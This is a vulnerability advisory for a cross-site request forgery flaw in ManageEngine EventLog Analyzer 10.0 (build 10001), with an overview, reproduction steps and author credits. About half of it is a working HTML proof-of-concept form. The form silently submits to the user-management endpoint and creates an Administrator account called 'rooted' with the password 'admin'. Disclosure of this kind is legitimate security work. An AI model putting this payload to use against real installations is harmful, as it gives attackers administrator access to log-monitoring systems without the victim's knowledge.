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ManageEngine EventLog Analyzer V:10.0 CSRF Vulnerability



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CSRF Vulnerability in ManageEngine EventLog Analyzer Version :10.0, Build Number : 10001
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. contents:: Table Of Content
 
Overview
========
 
* Title : ManageEngine EventLog Analyzer Version 10.0 Cross Site Request Forgery
* Author: Akash S. Chavan
* Product Homepage: https://www.manageengine.com/products/eventlog/
* Severity: HIGH
* Version Affected: Version  10.0, Build Number: 10001 and mostly prior to it 
* Version Tested : Version  10.0 Build Number: 10001
* version patched:
 
 
About Vulnerability
===================
This products is vulnerable to a CSRF attack meaning that the attacker can perform any action without user's knowledge.
 
Vulnerability Class
=================== 
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
 
Steps to Reproduce: (POC)
=========================
 
After installing the plugin
 
1. Logon into the application.
2. Create the HTML file containing the below PoC code.
3. Edit userName parameter with the name of the user you wish to add.
4. After editing open the same HTML file in browser, there will be a Click me Button.
5. Click the button.
6. Now goto to first tab and  hit F5 to refresh.
7. You should see the new user. with the name given by us.
 
CSRF POC Code
=============
 
<html>
	<body>
    <form action="http://127.0.0.1:8400/event/userManagementForm.do"; method="POST">
      <input type="hidden" name="domainId" value="" />
      <input type="hidden" name="roleId" value="" />
      <input type="hidden" name="addField" value="true" />
      <input type="hidden" name="userType" value="Administrator" />
      <input type="hidden" name="userName" value="rooted" />
      <input type="hidden" name="pwd1" value="admin" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="userGroup" value="Administrator" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="AddSubmit" value="Add&#32;User" />
      <input type="hidden" name="alpha" value="" />
      <input type="hidden" name="userIds" value="" />
      <input type="hidden" name="roleName" value="" />
      <input type="hidden" name="selDevices" value="" />
      <input type="hidden" name="doAction" value="" />
      <input type="hidden" name="productName" value="eventlog" />
      <input type="hidden" name="licType" value="Prem" />
      <input type="hidden" name="next" value="" />
      <input type="hidden" name="currentUserId" value="1" />
      <input type="hidden" name="isAdminServer" value="false" />
      <input type="submit" value="Click Me" />
    </form>
  </body>
</html> 
  
credits
=======
* Akash S. Chavan 
* Information Security Testing
* ControlCase International Pvt Ltd. 
* akashchavan0708 (at) gmail (dot) com 
* https://twitter.com/r00t3dd
* https://in.linkedin.com/in/r00t3d